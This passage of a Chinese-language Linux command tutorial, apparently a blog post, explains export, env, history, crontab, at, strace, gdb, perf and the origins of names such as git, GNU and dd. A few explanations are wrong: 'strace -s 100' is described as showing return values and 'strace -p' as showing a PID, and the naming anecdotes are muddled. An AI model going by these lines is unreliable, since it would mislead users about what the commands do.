适用场景: 简化常用命令,如 alias ll='ls -la'


export - 导出环境变量

这条命令的意思是:"把一个变量变成环境变量,让子进程也能看到这个变量。"

详细拆解:

部分 含义 作用
export 导出 设置环境变量

常用命令示例:

# 导出变量
export MY_VAR="hello"

# 设置 PATH
export PATH=$PATH:/new/path

# 设置多个变量
export JAVA_HOME=/usr/java
export PATH=$JAVA_HOME/bin:$PATH

# 查看所有环境变量
export -p

# 查看特定变量
echo $PATH

# 永久生效(写入配置文件)
echo "export PATH=\$PATH:/new/path" >> ~/.bashrc

# 临时添加(只对当前命令有效)
PATH=/new/path command

适用场景: 设置环境变量让程序能找到,如 export JAVA_HOME=/usr/java


env - 查看/设置环境变量

这条命令的意思是:"显示所有环境变量,或者用指定环境变量执行命令。"

详细拆解:

部分 含义 作用
env environment 环境变量操作

常用命令示例:

# 查看所有环境变量
env

# 显示单个变量
env | grep PATH

# 以干净环境执行命令
env -i /path/to/command

# 设置变量执行命令
env VAR=value command

# 临时修改 PATH
env PATH=/new/path command

# 配合 xargs
env | xargs -n 1

适用场景: 查看当前所有环境变量,或在干净环境下执行命令。


history - 查看命令历史

这条命令的意思是:"列出你之前执行过的所有命令。"

详细拆解:

部分 含义 作用
history 历史 显示命令历史记录

常用命令示例:

# 查看最近命令
history

# 显示最近 20 条
history 20

# 清空历史
history -c

# 删除特定行
history -d 100

# 追加新历史(防止覆盖)
history -a

# 搜索历史
history | grep "keyword"

# 快捷执行
!!         # 执行上一条
!100       # 执行第 100 条
!-2        # 执行倒数第二条
^old^new   # 替换上一条命令中的 old 为 new

适用场景: 查找之前执行过的命令,按 !n 重复执行第n条。


source - 执行脚本

这条命令的意思是:"读取并执行脚本文件中的命令(在当前shell中运行)。"

详细拆解:

部分 含义 作用
source 读取执行 在当前shell执行脚本

常用命令示例:

# 执行脚本
source script.sh

# 简写形式(点号)
. script.sh

# 加载配置文件
source ~/.bashrc

适用场景: 让配置文件立即生效,如 source ~/.bashrc


sleep - 暂停等待

这条命令的意思是:"让脚本暂停一段时间。"

详细拆解:

部分 含义 作用
sleep 睡眠 等待指定时间

常用命令示例:

# 暂停 5 秒
sleep 5

# 暂停 1 分钟
sleep 1m

# 暂停 2 小时
sleep 2h

# 暂停 300 毫秒
sleep 0.3

# 脚本中使用
echo "Starting..."
sleep 5
echo "Done"

# 延时
sleep 10 && echo "Time's up!"

适用场景: 脚本中等待,如 sleep 5 等待5秒。


watch - 定期执行命令

这条命令的意思是:"每隔一段时间自动执行一条命令并显示结果。"

详细拆解:

部分 含义 作用
watch 观察 定期重复执行命令

常用命令示例:

# 每秒显示磁盘使用
watch -n 1 df -h

# 每 2 秒显示内存使用
watch -n 2 free -h

# 高亮显示变化
watch -n 1 -d free -h

# 显示命令输出
watch -n 5 'df -h | grep sda'

# 退出 watch
Ctrl+C

适用场景: 实时监控,如 watch -n 1 df -h 每秒显示磁盘使用情况。


crontab - 定时任务

这条命令的意思是:"设置让系统定时执行某些命令(每天几点、每周几号等)。"

详细拆解:

部分 含义 作用
crontab cron table 定时任务表

常用命令示例:

# 编辑 crontab
crontab -e

# 查看 crontab
crontab -l

# 删除 crontab
crontab -r

# 设置定时任务(每分钟执行)
* * * * * /path/to/command

# 每天凌晨 3 点执行
0 3 * * * /path/to/backup.sh

# 每周一早上 5 点执行
0 5 * * 1 /path/to/command

# 每月 1 号凌晨执行
0 0 1 * * /path/to/command

# 每 5 分钟执行
*/5 * * * * /path/to/command

# crontab 格式:
# 分(0-59) 时(0-23) 日(1-31) 月(1-12) 周(0-6) 命令
# 周 0 和 7 都是周日

crontab 时间格式:

┌───────────── 分钟 (0-59)
│ ┌───────────── 小时 (0-23)
│ │ ┌───────────── 日 (1-31)
│ │ │ ┌───────────── 月 (1-12)
│ │ │ │ ┌───────────── 周 (0-6, 0=周日)
│ │ │ │ │
* * * * * command

适用场景: 自动化运维,如每天凌晨备份数据库。


at - 一次性定时任务

这条命令的意思是:"设置在指定时间执行一次某条命令。"

详细拆解:

部分 含义 作用
at 在...时候 一次性定时执行

常用命令示例:

# 查看 at 命令是否存在
which at

# 设置 5 分钟后执行
at now +5 minutes
at> echo "Hello" > /tmp/hello.txt
at> <Ctrl+D>

# 设置下午 4 点执行
at 4pm + 1 day
at> /path/to/command
at> <Ctrl+D>

# 设置具体时间执行
at 14:30 2026-05-10
at> /path/to/script.sh
at> <Ctrl+D>

# 查看待执行任务
atq

# 删除任务
atrm 1

适用场景: 临时需要某时某刻执行一次的任务(比cron简单)。


12. 高级命令

strace - 跟踪系统调用

这条命令的意思是:"追踪一个程序调用了哪些Linux内核函数(系统调用),用于调试。"

详细拆解:

部分 含义 作用
strace system call trace 系统调用追踪

常用命令示例:

# 跟踪程序执行
strace ls

# 跟踪并显示时间
strace -t ls

# 跟踪并显示函数返回值
strace -s 100 ls

# 只显示特定系统调用
strace -e open,read,write ls

# 输出到文件
strace -o output.txt ls

# 跟踪子进程
strace -f ./my_program

# 统计系统调用次数
strace -c ls

# 显示进程 PID
strace -p 1234

适用场景: 程序莫名崩溃时,追踪它到底调用了什么系统函数。


ltrace - 跟踪库函数调用

这条命令的意思是:"追踪程序调用了哪些动态链接库的函数。"

详细拆解:

部分 含义 作用
ltrace library trace 库函数追踪

常用命令示例:

# 跟踪库函数调用
ltrace ./program

# 显示函数调用时间
ltrace -t ./program

# 只显示特定函数
ltrace -e malloc,free ./program

# 输出到文件
ltrace -o output.txt ./program

# 统计函数调用次数
ltrace -c ./program

适用场景: 分析程序使用了哪些库函数。


gdb - 程序调试器

这条命令的意思是:"强大的程序调试工具,可以单步执行、查看变量值。"

详细拆解:

部分 含义 作用
gdb GNU Debugger GNU调试器

常用命令示例:

# 启动调试
gdb ./program

# 设置断点
break main
break 10

# 运行程序
run

# 单步执行
next
step

# 查看变量
print variable_name

# 查看调用栈
backtrace

# 继续执行
continue

# 退出
quit

# 附加到运行中的进程
gdb -p PID

# 查看 core dump
gdb ./program core

适用场景: 调试程序崩溃、查看core dump。


perf - 性能分析工具

这条命令的意思是:"Linux内置的性能分析工具,查看CPU热点在哪里。"

详细拆解:

部分 含义 作用
perf performance 性能分析

常用命令示例:

# 查看 CPU 热点
perf top

# 记录程序运行并生成报告
perf record -g ./program
perf report

# 统计函数调用
perf stat ./program

# 查看硬件事件
perf stat -e cycles,instructions ./program

# 查看实时事件
perf top -a

适用场景: 找出程序性能瓶颈。


13. 命令行工具的命名趣闻

git - 内容追踪系统

这条命令的意思是:"分布式版本控制系统,用于管理代码历史。"

详细拆解:

部分 含义 作用
git 英国俚语 傻瓜、笨蛋(Linus自嘲命名)

历史趣闻: Linus Torvalds觉得自己当时能写出这个项目是个混蛋,所以起了这个名字。


GNU - 自由软件组织

这条命令的意思是:"一个致力于自由软件运动的组织,开发了大量Linux基础工具。"

详细拆解:

部分 含义 作用
GNU GNU's Not Unix 递归缩写

历史趣闻: 程序员喜欢用递归缩写来幽默表达,模仿了"No Unix"的风格。


apt - 包管理器

这条命令的意思是:"Debian/Ubuntu系统的软件包管理工具。"

详细拆解:

部分 含义 作用
apt Advanced Packaging Tool 高级包装工具

适用场景: Ubuntu/Debian 安装、更新、卸载软件,如 apt install nginx


yum - 包管理器

这条命令的意思是:"RedHat/CentOS系统的软件包管理工具。"

详细拆解:

部分 含义 作用
yum Yellowdog Updater Modified 从Yellow Dog Linux移植而来

适用场景: CentOS/RHEL 安装RPM包,如 yum install nginx


rpm - 包管理器

这条命令的意思是:"RedHat Package Manager,既可以指软件包格式,也可以指管理工具。"

详细拆解:

部分 含义 作用
rpm RPM Package Manager 递归缩写

适用场景: 手动安装 RPM 包,如 rpm -ivh package.rpm


dd - 数据转换复制

这条命令的意思是:"按固定大小块复制数据,常用于制作启动盘。"

详细拆解:

部分 含义 作用
dd dataset definition 数据集定义(来源有争议)

适用场景: 制作USB启动盘,如 dd if=ubuntu.iso of=/dev/sdb bs=4M


14. 命令记忆技巧

面对一个陌生的命令,可以这样思考:

flowchart LR A[面对陌生命令] --> B{名字直观吗?} B -->|是 直译即可| C[直接理解] B -->|否 缩写?| D[拆解缩写] B -->|否 人名/特殊| E[了解背景] D --> F[理解原始含义] E --> F F --> G[形成长期记忆]

记忆技巧 示例
缩写直译 ls = list = 列出
短语拆分 grep = g/re/p = 全局正则打印
联想记忆 chmod = change mode = 改权限
了解历史 tar 虽不用磁带了但名字保留

提示:理解命令命名来源能帮助您更好地记忆命令,同时也能深入了解Unix/Linux的设计哲学。

posted @ 2026-05-08 11:17  RK5123153  阅读(11)  评论(0)    收藏  举报